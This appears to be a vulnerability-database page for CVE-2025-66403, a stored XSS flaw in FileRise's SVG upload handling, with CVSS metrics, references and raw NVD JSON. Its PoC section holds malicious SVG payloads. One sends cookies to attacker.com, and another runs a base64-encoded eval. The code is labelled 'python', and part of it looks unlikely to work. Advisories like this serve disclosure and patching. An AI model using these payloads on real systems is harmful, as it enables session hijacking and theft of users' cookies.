CVE-2025-66403

Description

FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 2.2.3, a stored cross-site scripting (XSS) vulnerability exists in the Filerise application due to improper handling of uploaded SVG files. The application accepts user-supplied SVG uploads without sanitizing or restricting embedded script content. When a malicious SVG containing inline JavaScript or event-based payloads is uploaded, it is later rendered directly in the browser whenever viewed within the application. Because SVGs are XML-based and allow scripting, they execute in the origin context of the application, enabling full stored XSS. This vulnerability is fixed in 2.2.3.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:* - VULNERABLE

FileRise < 2.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Malicious SVG file for CVE-2025-66403 PoC -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <script>alert('XSS - CVE-2025-66403'); document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)</script>
  <circle cx="100" cy="100" r="80" fill="red" />
</svg>

<!-- Alternative PoC with event-based payload -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject onerror="eval(atob('YWxlcnQoJ1hTUyBDVkUtMjAyNS02NjQwMycpOw=='))">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <p>Malicious content</p>
    </body>
  </foreignObject>
</svg>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66403
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66403
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66403/
[4] VulDB https://vuldb.com/cve/CVE-2025-66403
[5] https://github.com/error311/FileRise/commit/f2ce43f18f0444f8f63f7c33758d1837dd5ba91e
[6] https://github.com/error311/FileRise/security/advisories/GHSA-qrcv-vjvf-fr29

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66403", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:53.390", "lastModified": "2026-01-07T20:50:05.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 2.2.3, a stored cross-site scripting (XSS) vulnerability exists in the Filerise application due to improper handling of uploaded SVG files. The application accepts user-supplied SVG uploads without sanitizing or restricting embedded script content. When a malicious SVG containing inline JavaScript or event-based payloads is uploaded, it is later rendered directly in the browser whenever viewed within the application. Because SVGs are XML-based and allow scripting, they execute in the origin context of the application, enabling full stored XSS. This vulnerability is fixed in 2.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.3", "matchCriteriaId": "E1FB57DD-F04F-47CD-91D0-43638966F0E3"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/commit/f2ce43f18f0444f8f63f7c33758d1837dd5ba91e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-qrcv-vjvf-fr29", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}